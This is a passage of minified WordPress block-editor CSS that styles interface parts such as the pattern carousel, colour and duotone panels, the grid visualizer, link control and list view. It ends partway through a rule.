.block-editor-block-preview__container{cursor:pointer}.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item{border:1px solid #0000;border-radius:2px;height:100%;position:relative}@media not (prefers-reduced-motion){.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item{transition:all .05s ease-in-out}}.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item:focus,.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item:hover{box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item:hover{box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) #1e1e1e}.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item .block-editor-block-switcher__preview-patterns-container-list__item-title{cursor:pointer;font-size:12px;padding:4px;text-align:center}.block-editor-block-switcher__no-transforms{color:#757575;margin:0;padding:6px 8px}.block-editor-block-switcher__binding-indicator{display:block;padding:8px}.block-editor-block-types-list>[role=presentation]{display:flex;flex-wrap:wrap;overflow:hidden}.block-editor-block-pattern-setup{align-items:flex-start;border-radius:2px;display:flex;flex-direction:column;justify-content:center;width:100%}.block-editor-block-pattern-setup.view-mode-grid{padding-top:4px}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__toolbar{justify-content:center}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container{column-count:2;column-gap:24px;display:block;padding:0 32px;width:100%}@media (min-width:1440px){.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container{column-count:3}}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-preview__container,.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container div[role=button]{cursor:pointer}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item{scroll-margin:5px 0}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item:hover .block-editor-block-preview__container{box-shadow:0 0 0 2px var(--wp-admin-theme-color)}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item:focus .block-editor-block-preview__container{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff,0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-admin-theme-color);outline:2px solid #0000;outline-offset:2px}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item:focus .block-editor-block-pattern-setup-list__item-title,.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item:hover .block-editor-block-pattern-setup-list__item-title{color:var(--wp-admin-theme-color)}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__list-item{break-inside:avoid-column;margin-bottom:24px}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__list-item .block-editor-block-pattern-setup-list__item-title{cursor:pointer;font-size:12px;padding-top:8px;text-align:center}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__list-item .block-editor-block-preview__container{border:1px solid #ddd;border-radius:4px;min-height:100px}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__list-item .block-editor-block-preview__content{width:100%}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar{align-items:center;align-self:stretch;background-color:#fff;border-top:1px solid #ddd;bottom:0;box-sizing:border-box;color:#1e1e1e;display:flex;flex-direction:row;height:60px;justify-content:space-between;margin:0;padding:16px;position:absolute;text-align:left;width:100%}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar .block-editor-block-pattern-setup__display-controls{display:flex}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar .block-editor-block-pattern-setup__actions,.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar .block-editor-block-pattern-setup__navigation{display:flex;width:calc(50% - 36px)}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar .block-editor-block-pattern-setup__actions{justify-content:flex-end}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container{box-sizing:border-box;display:flex;flex-direction:column;height:100%;width:100%}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container{height:100%;list-style:none;margin:0;overflow:hidden;padding:0;position:relative;transform-style:preserve-3d}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container *{box-sizing:border-box}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container .pattern-slide{background-color:#fff;height:100%;margin:auto;padding:0;position:absolute;top:0;width:100%;z-index:100}@media not (prefers-reduced-motion){.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container .pattern-slide{transition:transform .5s,z-index .5s}}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container .pattern-slide.active-slide{opacity:1;position:relative;z-index:102}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container .pattern-slide.previous-slide{transform:translateX(-100%);z-index:101}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container .pattern-slide.next-slide{transform:translateX(100%);z-index:101}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .block-list-appender{display:none}.block-editor-block-pattern-setup__carousel,.block-editor-block-pattern-setup__grid{width:100%}.block-editor-block-variation-transforms{padding:0 16px 16px 52px;width:100%}.block-editor-block-variation-transforms .components-dropdown-menu__toggle{border:1px solid #757575;border-radius:2px;justify-content:left;min-height:30px;padding:6px 12px;position:relative;text-align:left;width:100%}.block-editor-block-variation-transforms .components-dropdown-menu__toggle.components-dropdown-menu__toggle{padding-right:24px}.block-editor-block-variation-transforms .components-dropdown-menu__toggle:focus:not(:disabled){border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 calc(var(--wp-admin-border-width-focus) - 1px) var(--wp-admin-theme-color)}.block-editor-block-variation-transforms .components-dropdown-menu__toggle svg{height:100%;padding:0;position:absolute;right:0;top:0}.block-editor-block-variation-transforms__popover .components-popover__content{min-width:230px}.components-border-radius-control{margin-bottom:12px}.components-border-radius-control legend{margin-bottom:8px}.components-border-radius-control .components-border-radius-control__wrapper{align-items:flex-start;display:flex;justify-content:space-between}.components-border-radius-control .components-border-radius-control__wrapper .components-border-radius-control__unit-control{flex-shrink:0;margin-bottom:0;margin-right:16px;width:calc(50% - 8px)}.components-border-radius-control .components-border-radius-control__wrapper .components-border-radius-control__range-control{flex:1;margin-right:12px}.components-border-radius-control .components-border-radius-control__input-controls-wrapper{display:grid;gap:16px;grid-template-columns:repeat(2,minmax(0,1fr));margin-right:12px}.components-border-radius-control .component-border-radius-control__linked-button{display:flex;justify-content:center;margin-top:8px}.components-border-radius-control .component-border-radius-control__linked-button svg{margin-right:0}.block-editor-color-gradient-control .block-editor-color-gradient-control__color-indicator{margin-bottom:12px}.block-editor-color-gradient-control__fieldset{min-width:0}.block-editor-panel-color-gradient-settings.block-editor-panel-color-gradient-settings,.block-editor-panel-color-gradient-settings.block-editor-panel-color-gradient-settings>div:not(:first-of-type){display:block}@media screen and (min-width:782px){.block-editor-panel-color-gradient-settings .components-circular-option-picker__swatches{display:grid;grid-template-columns:repeat(6,28px)}}.block-editor-block-inspector .block-editor-panel-color-gradient-settings .components-base-control{margin-bottom:inherit}.block-editor-panel-color-gradient-settings__dropdown-content .block-editor-color-gradient-control__panel{padding:16px;width:260px}.block-editor-panel-color-gradient-settings__color-indicator{background:linear-gradient(-45deg,#0000 48%,#ddd 0,#ddd 52%,#0000 0)}.block-editor-tools-panel-color-gradient-settings__item{border-bottom:1px solid #ddd;border-left:1px solid #ddd;border-right:1px solid #ddd;max-width:100%;padding:0;position:relative}.block-editor-tools-panel-color-gradient-settings__item:nth-child(1 of .block-editor-tools-panel-color-gradient-settings__item){border-top:1px solid #ddd;border-top-left-radius:2px;border-top-right-radius:2px;margin-top:24px}.block-editor-tools-panel-color-gradient-settings__item:nth-last-child(1 of .block-editor-tools-panel-color-gradient-settings__item){border-bottom-left-radius:2px;border-bottom-right-radius:2px}.block-editor-tools-panel-color-gradient-settings__item>div,.block-editor-tools-panel-color-gradient-settings__item>div>button{border-radius:inherit}.block-editor-tools-panel-color-gradient-settings__dropdown{display:block;padding:0}.block-editor-tools-panel-color-gradient-settings__dropdown>button{height:auto;padding-bottom:10px;padding-top:10px;text-align:left}.block-editor-tools-panel-color-gradient-settings__dropdown>button.is-open{background:#f0f0f0;color:var(--wp-admin-theme-color)}.block-editor-tools-panel-color-gradient-settings__dropdown .block-editor-panel-color-gradient-settings__color-name{max-width:calc(100% - 44px);overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.block-editor-panel-color-gradient-settings__dropdown{width:100%}.block-editor-panel-color-gradient-settings__dropdown .component-color-indicator{flex-shrink:0}.block-editor-panel-color-gradient-settings__reset{margin:auto 8px;opacity:0;position:absolute;right:0;top:8px}@media not (prefers-reduced-motion){.block-editor-panel-color-gradient-settings__reset{transition:opacity .1s ease-in-out}}.block-editor-panel-color-gradient-settings__reset.block-editor-panel-color-gradient-settings__reset{border-radius:2px}.block-editor-panel-color-gradient-settings__dropdown:hover+.block-editor-panel-color-gradient-settings__reset,.block-editor-panel-color-gradient-settings__reset:focus,.block-editor-panel-color-gradient-settings__reset:hover{opacity:1}@media (hover:none){.block-editor-panel-color-gradient-settings__reset{opacity:1}}.block-editor-date-format-picker{border:none;margin:0 0 16px;padding:0}.block-editor-date-format-picker__custom-format-select-control__custom-option{border-top:1px solid #ddd}.block-editor-duotone-control__popover.components-popover>.components-popover__content{padding:8px;width:260px}.block-editor-duotone-control__popover.components-popover .components-menu-group__label{padding:0}.block-editor-duotone-control__popover.components-popover .components-circular-option-picker__swatches{display:grid;gap:12px;grid-template-columns:repeat(6,28px);justify-content:space-between}.block-editor-duotone-control__unset-indicator{background:linear-gradient(-45deg,#0000 48%,#ddd 0,#ddd 52%,#0000 0)}.components-font-appearance-control [role=option]{color:#1e1e1e;text-transform:capitalize}.block-editor-font-family-control:not(.is-next-has-no-margin-bottom){margin-bottom:8px}.block-editor-global-styles__toggle-icon{fill:currentColor}.block-editor-global-styles__shadow-popover-container{width:230px}.block-editor-global-styles__shadow__list{display:flex;flex-wrap:wrap;gap:12px;padding-bottom:8px}.block-editor-global-styles__clear-shadow{text-align:right}.block-editor-global-styles-filters-panel__dropdown,.block-editor-global-styles__shadow-dropdown{display:block;padding:0;position:relative}.block-editor-global-styles-filters-panel__dropdown button,.block-editor-global-styles__shadow-dropdown button{padding:8px;width:100%}.block-editor-global-styles-filters-panel__dropdown button.is-open,.block-editor-global-styles__shadow-dropdown button.is-open{background-color:#f0f0f0}.block-editor-global-styles__shadow-editor__remove-button{margin:auto 8px;opacity:0;position:absolute;right:0;top:8px}@media not (prefers-reduced-motion){.block-editor-global-styles__shadow-editor__remove-button{transition:opacity .1s ease-in-out}}.block-editor-global-styles__shadow-dropdown:hover .block-editor-global-styles__shadow-editor__remove-button,.block-editor-global-styles__shadow-editor__remove-button:focus,.block-editor-global-styles__shadow-editor__remove-button:hover{opacity:1}@media (hover:none){.block-editor-global-styles__shadow-editor__remove-button{opacity:1}}.block-editor-global-styles-filters-panel__dropdown{border:1px solid #ddd;border-radius:2px}.block-editor-global-styles__shadow-indicator{align-items:center;appearance:none;background:none;border:1px solid #e0e0e0;border-radius:2px;box-sizing:border-box;color:#2f2f2f;cursor:pointer;display:inline-flex;height:26px;padding:0;transform:scale(1);width:26px;will-change:transform}@media not (prefers-reduced-motion){.block-editor-global-styles__shadow-indicator{transition:transform .1s ease}}.block-editor-global-styles__shadow-indicator:focus{border:2px solid #757575}.block-editor-global-styles__shadow-indicator:hover{transform:scale(1.2)}.block-editor-global-styles__shadow-indicator.unset{background:linear-gradient(-45deg,#0000 48%,#ddd 0,#ddd 52%,#0000 0)}.block-editor-global-styles-advanced-panel__custom-css-input textarea{direction:ltr;font-family:Menlo,Consolas,monaco,monospace}.block-editor-panel-duotone-settings__reset{margin:auto 8px;opacity:0;position:absolute;right:0;top:8px}@media not (prefers-reduced-motion){.block-editor-panel-duotone-settings__reset{transition:opacity .1s ease-in-out}}.block-editor-global-styles-filters-panel__dropdown:hover .block-editor-panel-duotone-settings__reset,.block-editor-panel-duotone-settings__reset:focus,.block-editor-panel-duotone-settings__reset:hover{opacity:1}@media (hover:none){.block-editor-panel-duotone-settings__reset{opacity:1}}.block-editor-grid-visualizer.block-editor-grid-visualizer.block-editor-grid-visualizer{z-index:30}.block-editor-grid-visualizer.block-editor-grid-visualizer.block-editor-grid-visualizer .components-popover__content *{pointer-events:none}.block-editor-grid-visualizer.block-editor-grid-visualizer.block-editor-grid-visualizer.is-dropping-allowed .block-editor-grid-visualizer__drop-zone{pointer-events:all}.block-editor-grid-visualizer.block-editor-grid-visualizer.block-editor-grid-visualizer .block-editor-inserter *{pointer-events:auto}.block-editor-grid-visualizer__grid{display:grid;position:absolute}.block-editor-grid-visualizer__cell{display:grid;position:relative}.block-editor-grid-visualizer__cell .block-editor-inserter{bottom:0;color:inherit;left:0;overflow:hidden;position:absolute;right:0;top:0;z-index:32}.block-editor-grid-visualizer__cell .block-editor-inserter .block-editor-grid-visualizer__appender{box-shadow:inset 0 0 0 1px color-mix(in srgb,currentColor 20%,#0000);color:inherit;height:100%;opacity:0;overflow:hidden;padding:0!important;width:100%}.block-editor-grid-visualizer__cell.is-highlighted .block-editor-grid-visualizer__drop-zone,.block-editor-grid-visualizer__cell.is-highlighted .block-editor-inserter{background:var(--wp-admin-theme-color)}.block-editor-grid-visualizer__cell .block-editor-grid-visualizer__appender:focus,.block-editor-grid-visualizer__cell:hover .block-editor-grid-visualizer__appender{background-color:color-mix(in srgb,currentColor 20%,#0000);opacity:1}.block-editor-grid-visualizer__drop-zone{background:#cccccc1a;grid-column:1;grid-row:1;height:100%;min-height:8px;min-width:8px;width:100%}.block-editor-grid-item-resizer.block-editor-grid-item-resizer.block-editor-grid-item-resizer{z-index:30}.block-editor-grid-item-resizer.block-editor-grid-item-resizer.block-editor-grid-item-resizer .components-popover__content *{pointer-events:none}.block-editor-grid-item-resizer__box{border:1px solid var(--wp-admin-theme-color)}.block-editor-grid-item-resizer__box .components-resizable-box__handle.components-resizable-box__handle.components-resizable-box__handle{pointer-events:all}.block-editor-grid-item-mover__move-button-container{border:none;display:flex;justify-content:center;padding:0}.block-editor-grid-item-mover__move-button-container .block-editor-grid-item-mover-button{min-width:0!important;padding-left:0;padding-right:0;width:24px}.block-editor-grid-item-mover__move-button-container .block-editor-grid-item-mover-button svg{min-width:24px}.block-editor-grid-item-mover__move-button-container .block-editor-grid-item-mover-button:before{border-radius:2px;content:"";display:block;height:32px;left:8px;position:absolute;right:8px;z-index:-1}@media not (prefers-reduced-motion){.block-editor-grid-item-mover__move-button-container .block-editor-grid-item-mover-button:before{animation:components-button__appear-animation .1s ease;animation-fill-mode:forwards}}.block-editor-grid-item-mover__move-button-container .block-editor-grid-item-mover-button:focus,.block-editor-grid-item-mover__move-button-container .block-editor-grid-item-mover-button:focus:before,.block-editor-grid-item-mover__move-button-container .block-editor-grid-item-mover-button:focus:enabled{box-shadow:none;outline:none}.block-editor-grid-item-mover__move-button-container .block-editor-grid-item-mover-button:focus-visible:before{box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.block-editor-grid-item-mover__move-vertical-button-container{display:flex;position:relative}@media (min-width:600px){.block-editor-grid-item-mover__move-vertical-button-container{flex-direction:column;justify-content:space-around}.block-editor-grid-item-mover__move-vertical-button-container>.block-editor-grid-item-mover-button.block-editor-grid-item-mover-button{height:20px!important;min-width:0!important;width:100%}.block-editor-grid-item-mover__move-vertical-button-container>.block-editor-grid-item-mover-button.block-editor-grid-item-mover-button:before{height:calc(100% - 4px)}.block-editor-grid-item-mover__move-vertical-button-container .block-editor-grid-item-mover-button.is-down-button svg,.block-editor-grid-item-mover__move-vertical-button-container .block-editor-grid-item-mover-button.is-up-button svg{flex-shrink:0;height:20px}.editor-collapsible-block-toolbar .block-editor-grid-item-mover__move-vertical-button-container{height:40px;position:relative;top:-5px}}.show-icon-labels .block-editor-grid-item-mover__move-horizontal-button-container{position:relative}@media (min-width:600px){.show-icon-labels .block-editor-grid-item-mover__move-horizontal-button-container:before{background:#e0e0e0;content:"";height:100%;position:absolute;top:0;width:1px}}@media (min-width:782px){.show-icon-labels .block-editor-grid-item-mover__move-horizontal-button-container:before{background:#1e1e1e}}.show-icon-labels .block-editor-grid-item-mover__move-horizontal-button-container.is-left{padding-right:6px}.show-icon-labels .block-editor-grid-item-mover__move-horizontal-button-container.is-left:before{right:0}.show-icon-labels .block-editor-grid-item-mover__move-horizontal-button-container.is-right{padding-left:6px}.show-icon-labels .block-editor-grid-item-mover__move-horizontal-button-container.is-right:before{left:0}@media (min-width:600px){.show-icon-labels .block-editor-grid-item-mover__move-vertical-button-container:before{background:#e0e0e0;content:"";height:1px;left:50%;margin-top:-.5px;position:absolute;top:50%;transform:translate(-50%);width:100%}}@media (min-width:782px){.show-icon-labels .block-editor-grid-item-mover__move-vertical-button-container:before{background:#1e1e1e}}.show-icon-labels .block-editor-grid-item-mover-button{white-space:nowrap}.show-icon-labels .editor-collapsible-block-toolbar .block-editor-grid-item-mover__move-horizontal-button-container:before{background:#ddd;height:24px;top:4px}.show-icon-labels .editor-collapsible-block-toolbar .block-editor-grid-item-mover__move-vertical-button-container:before{background:#ddd;width:calc(100% - 24px)}.block-editor-height-control{border:0;margin:0;padding:0}.block-editor-iframe__container{height:100%;width:100%}.block-editor-iframe__scale-container{height:100%}.block-editor-iframe__scale-container.is-zoomed-out{position:absolute;right:0;width:var(--wp-block-editor-iframe-zoom-out-scale-container-width,100vw)}.block-editor-image-size-control{margin-bottom:1em}.block-editor-image-size-control .block-editor-image-size-control__height,.block-editor-image-size-control .block-editor-image-size-control__width{margin-bottom:1.115em}.block-editor-block-types-list__list-item{display:block;margin:0;padding:0;width:33.33%}.block-editor-block-types-list__list-item.is-synced .components-button.block-editor-block-types-list__item:not(:disabled) .block-editor-block-icon.has-colors{color:var(--wp-block-synced-color)}.block-editor-block-types-list__list-item.is-synced .components-button.block-editor-block-types-list__item:not(:disabled):hover .block-editor-block-types-list__item-title{color:var(--wp-block-synced-color)!important;filter:brightness(.95)}.block-editor-block-types-list__list-item.is-synced .components-button.block-editor-block-types-list__item:not(:disabled):hover svg{color:var(--wp-block-synced-color)!important}.block-editor-block-types-list__list-item.is-synced .components-button.block-editor-block-types-list__item:not(:disabled):after{background:var(--wp-block-synced-color)}.components-button.block-editor-block-types-list__item{align-items:stretch;background:#0000;color:#1e1e1e;cursor:pointer;display:flex;flex-direction:column;font-size:13px;height:auto;justify-content:center;padding:8px;position:relative;width:100%;word-break:break-word}@media not (prefers-reduced-motion){.components-button.block-editor-block-types-list__item{transition:all .05s ease-in-out}}.components-button.block-editor-block-types-list__item:disabled{cursor:default;opacity:.6}.components-button.block-editor-block-types-list__item:not(:disabled):hover .block-editor-block-types-list__item-title{color:var(--wp-admin-theme-color)!important;filter:brightness(.95)}.components-button.block-editor-block-types-list__item:not(:disabled):hover svg{color:var(--wp-admin-theme-color)!important}.components-button.block-editor-block-types-list__item:not(:disabled):hover:after{background:var(--wp-admin-theme-color);border-radius:2px;bottom:0;content:"";left:0;opacity:.04;pointer-events:none;position:absolute;right:0;top:0}.components-button.block-editor-block-types-list__item:not(:disabled):focus{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.components-button.block-editor-block-types-list__item:not(:disabled).is-active{background:#1e1e1e;color:#fff;outline:2px solid #0000;outline-offset:-2px}.block-editor-block-types-list__item-icon{color:#1e1e1e;padding:12px 20px}@media not (prefers-reduced-motion){.block-editor-block-types-list__item-icon{transition:all .05s ease-in-out}}.block-editor-block-types-list__item-icon .block-editor-block-icon{margin-left:auto;margin-right:auto}@media not (prefers-reduced-motion){.block-editor-block-types-list__item-icon svg{transition:all .15s ease-out}}.block-editor-block-types-list__list-item[draggable=true] .block-editor-block-types-list__item-icon{cursor:grab}.block-editor-block-types-list__item-title{font-size:12px;hyphens:auto;padding:4px 2px 8px}.block-editor-block-inspector__tabs [role=tablist]{width:100%}.block-editor-inspector-popover-header{margin-bottom:16px}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}@keyframes loadingpulse{0%{opacity:1}50%{opacity:0}to{opacity:1}}.block-editor-link-control{min-width:350px;position:relative}.components-popover__content .block-editor-link-control{max-width:350px;min-width:auto;width:90vw}.show-icon-labels .block-editor-link-control .components-button.has-icon svg{display:none}.show-icon-labels .block-editor-link-control .components-button.has-icon:before{content:attr(aria-label)}.show-icon-labels .block-editor-link-control .block-editor-link-control__search-item-top{flex-wrap:wrap;gap:4px}.show-icon-labels .block-editor-link-control .block-editor-link-control__search-item-top .components-button.has-icon{padding:4px;width:auto}.show-icon-labels .block-editor-link-control .is-preview .block-editor-link-control__search-item-header{margin-right:0;min-width:100%}.block-editor-link-control__search-input-wrapper{margin-bottom:8px;position:relative}.block-editor-link-control__search-input-container,.block-editor-link-control__search-input-wrapper{position:relative}.block-editor-link-control__field{margin:16px}.block-editor-link-control__field .components-base-control__label{color:#1e1e1e}.block-editor-link-control__search-error{margin:-8px 16px 16px}.block-editor-link-control__search-actions{padding:8px 16px 16px}.block-editor-link-control__search-results-wrapper{position:relative}.block-editor-link-control__search-results-wrapper:after,.block-editor-link-control__search-results-wrapper:before{content:"";display:block;left:-1px;pointer-events:none;position:absolute;right:16px;z-index:100}.block-editor-link-control__search-results-wrapper:before{bottom:auto;height:8px;top:0}.block-editor-link-control__search-results-wrapper:after{bottom:0;height:16px;top:auto}.block-editor-link-control__search-results{margin-top:-16px;max-height:200px;overflow-y:auto;padding:8px}.block-editor-link-control__search-results.is-loading{opacity:.2}.block-editor-link-control__search-item.components-button.components-menu-item__button{height:auto;text-align:left}.block-editor-link-control__search-item .components-menu-item__item{display:inline-block;overflow:hidden;text-overflow:ellipsis;width:100%}.block-editor-link-control__search-item .components-menu-item__item mark{background-color:initial;color:inherit;font-weight:600}.block-editor-link-control__search-item .components-menu-item__shortcut{color:#757575;text-transform:capitalize;white-space:nowrap}.block-editor-link-control__search-item[aria-selected]{background:#f0f0f0}.block-editor-link-control__search-item.is-current{background:#0000;border:0;cursor:default;flex-direction:column;padding:16px;width:100%}.block-editor-link-control__search-item .block-editor-link-control__search-item-header{align-items:center;display:block;flex-direction:row;gap:8px;margin-right:8px;overflow-wrap:break-word;white-space:pre-wrap}.block-editor-link-control__search-item .block-editor-link-control__search-item-header .block-editor-link-control__search-item-info{color:#757575;font-size:12px;line-height:1.1;word-break:break-all}.block-editor-link-control__search-item.is-preview .block-editor-link-control__search-item-header{display:flex;flex:1}.block-editor-link-control__search-item.is-error .block-editor-link-control__search-item-header{align-items:center}.block-editor-link-control__search-item.is-url-title .block-editor-link-control__search-item-title{word-break:break-all}.block-editor-link-control__search-item .block-editor-link-control__search-item-details{display:flex;flex-direction:column;gap:4px;justify-content:space-between}.block-editor-link-control__search-item .block-editor-link-control__search-item-header .block-editor-link-control__search-item-icon{background-color:#f0f0f0;border-radius:2px;height:32px;width:32px}.block-editor-link-control__search-item .block-editor-link-control__search-item-icon{align-items:center;display:flex;flex-shrink:0;justify-content:center;position:relative}.block-editor-link-control__search-item .block-editor-link-control__search-item-icon img{width:16px}.block-editor-link-control__search-item.is-error .block-editor-link-control__search-item-icon{max-height:32px;top:0;width:32px}.block-editor-link-control__search-item .block-editor-link-control__search-item-title{line-height:1.1}.block-editor-link-control__search-item .block-editor-link-control__search-item-title:focus{box-shadow:none}.block-editor-link-control__search-item .block-editor-link-control__search-item-title:focus-visible{box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000;text-decoration:none}.block-editor-link-control__search-item .block-editor-link-control__search-item-title mark{background-color:initial;color:inherit;font-weight:600}.block-editor-link-control__search-item .block-editor-link-control__search-item-title span{font-weight:400}.block-editor-link-control__search-item .block-editor-link-control__search-item-title .components-external-link__icon{height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;clip:rect(0,0,0,0);border:0}.block-editor-link-control__search-item-top{align-items:center;display:flex;flex-direction:row;width:100%}.block-editor-link-control__search-item.is-fetching .block-editor-link-control__search-item-icon img,.block-editor-link-control__search-item.is-fetching .block-editor-link-control__search-item-icon svg{opacity:0}.block-editor-link-control__search-item.is-fetching .block-editor-link-control__search-item-icon:before{background-color:#f0f0f0;border-radius:100%;bottom:0;content:"";display:block;left:0;position:absolute;right:0;top:0}@media not (prefers-reduced-motion){.block-editor-link-control__search-item.is-fetching .block-editor-link-control__search-item-icon:before{animation:loadingpulse 1s linear infinite;animation-delay:.5s}}.block-editor-link-control__loading{align-items:center;display:flex;margin:16px}.block-editor-link-control__loading .components-spinner{margin-top:0}.components-button+.block-editor-link-control__search-create{overflow:visible;padding:12px 16px}.components-button+.block-editor-link-control__search-create:before{content:"";display:block;left:0;position:absolute;top:-10px;width:100%}.block-editor-link-control__search-create{align-items:center}.block-editor-link-control__search-create .block-editor-link-control__search-item-title{margin-bottom:0}.block-editor-link-control__search-create .block-editor-link-control__search-item-icon{top:0}.block-editor-link-control__drawer-inner{display:flex;flex-basis:100%;flex-direction:column;position:relative}.block-editor-link-control__setting{flex:1;margin-bottom:0;padding:8px 0 8px 24px}.block-editor-link-control__setting .components-base-control__field{display:flex}.block-editor-link-control__setting .components-base-control__field .components-checkbox-control__label{color:#1e1e1e}.block-editor-link-control__setting input{margin-left:0}.is-preview .block-editor-link-control__setting{padding:20px 8px 8px 0}.block-editor-link-control__tools{margin-top:-16px;padding:8px 8px 0}.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle{gap:0;padding-left:0}.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=true]{color:#1e1e1e}.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=true] svg{transform:rotate(90deg);visibility:visible}@media not (prefers-reduced-motion){.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=true] svg{transition:transform .1s ease}}.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=false] svg{transform:rotate(0deg);visibility:visible}@media not (prefers-reduced-motion){.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=false] svg{transition:transform .1s ease}}.block-editor-link-control .block-editor-link-control__search-input .components-spinner{display:block}.block-editor-link-control .block-editor-link-control__search-input .components-spinner.components-spinner{bottom:auto;left:auto;position:absolute;right:40px;top:calc(50% - 8px)}.block-editor-link-control .block-editor-link-control__search-input-wrapper.has-actions .components-spinner{right:12px;top:calc(50% + 4px)}.block-editor-list-view-tree{border-collapse:collapse;margin:0;padding:0;width:100%}.components-modal__content .block-editor-list-view-tree{margin:-12px -6px 0;width:calc(100% + 12px)}.block-editor-list-view-tree.is-dragging tbody{pointer-events:none}.block-editor-list-view-leaf{position:relative;transform:translateY(0)}.block-editor-list-view-leaf.is-draggable,.block-editor-list-view-leaf.is-draggable .block-editor-list-view-block-contents{cursor:grab}.block-editor-list-view-leaf .block-editor-list-view-block-select-button[aria-expanded=true]{color:inherit}.block-editor-list-view-leaf .block-editor-list-view-block-select-button:hover{color:var(--wp-admin-theme-color)}.block-editor-list-view-leaf .block-editor-list-view-block-select-button svg{fill:currentColor}@media (forced-colors:active){.block-editor-list-view-leaf .block-editor-list-view-block-select-button svg{fill:CanvasText}}.is-dragging-components-draggable .block-editor-list-view-leaf:not(.is-selected) .block-editor-list-view-block-select-button:hover{color:inherit}.block-editor-list-view-leaf.is-selected td{background:var(--wp-admin-theme-color)}.block-editor-list-view-leaf.is-selected.is-synced td{background:var(--wp-block-synced-color)}.block-editor-list-view-leaf.is-synced:not(.is-selected) .block-editor-list-view-block-contents .block-editor-block-icon,.block-editor-list-view-leaf.is-synced:not(.is-selected) .block-editor-list-view-block-contents:focus,.block-editor-list-view-leaf.is-synced:not(.is-selected) .block-editor-list-view-block-contents:hover{color:var(--wp-block-synced-color)}.block-editor-list-view-leaf.is-synced:not(.is-selected) .block-editor-list-view-block-contents:focus:after{box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color)}.block-editor-list-view-leaf.is-selected .block-editor-list-view-block-contents,.block-editor-list-view-leaf.is-selected .components-button.has-icon{color:#fff}.block-editor-list-view-leaf.is-selected .block-editor-list-view-block-contents:focus:after{box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.block-editor-list-view-leaf.is-selected.is-synced .block-editor-list-view-block-contents:focus:after{box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) 